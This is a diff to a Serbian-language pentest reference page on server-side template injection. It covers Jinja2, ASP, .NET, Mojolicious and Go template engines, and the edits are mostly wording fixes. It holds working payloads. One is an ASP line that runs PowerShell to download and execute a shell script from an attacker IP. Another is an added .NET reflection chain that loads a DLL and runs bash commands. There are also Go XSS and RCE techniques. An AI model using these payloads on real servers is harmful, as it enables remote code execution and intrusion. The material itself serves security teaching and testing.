@@ -814,7 +814,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvrša
[Zvanična stranica](http://jinja.pocoo.org)
-> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
+> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD.
- `{{7*7}} = Greška`
- `${7*7} = ${7*7}`
@@ -919,8 +919,8 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
-- `<%= foo %>` = Ništa
-- `<%= response.write(date()) %>` = \
+- `<%= foo %>` = Nothing
+- `<%= response.write(date()) %>` = \
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@@ -928,9 +928,26 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
+### .Net zaobilaženje ograničenja
+
+.NET Reflection mehanizmi se mogu koristiti za zaobilaženje crnih lista ili klasa koje nisu prisutne u sklopu. DLL-ovi se mogu učitati u vreme izvođenja sa metodama i svojstvima dostupnim iz osnovnih objekata.
+
+Dll-ovi se mogu učitati sa:
+
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - iz datotečnog sistema.
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direktno iz zahteva.
+
+Potpuna izvršna komanda:
+```
+{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
+```
+**Više informacija**
+
+- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
+
### Mojolicious (Perl)
-Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
+Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@@ -942,7 +959,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
-- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
+- `{{ . }}`: Otkrije strukturu podataka koja je prosleđena. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
@@ -950,7 +967,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
**XSS Eksploatacija**
-Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
+Sa paketom `text/template`, XSS može biti jednostavan direktnim umetanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@@ -958,7 +975,7 @@ vbnet Copy code
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
-Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
+Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@@ -970,9 +987,9 @@ return string(out)
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
-### Više Eksploatacija
+### Više Eksploata
-Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploata. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF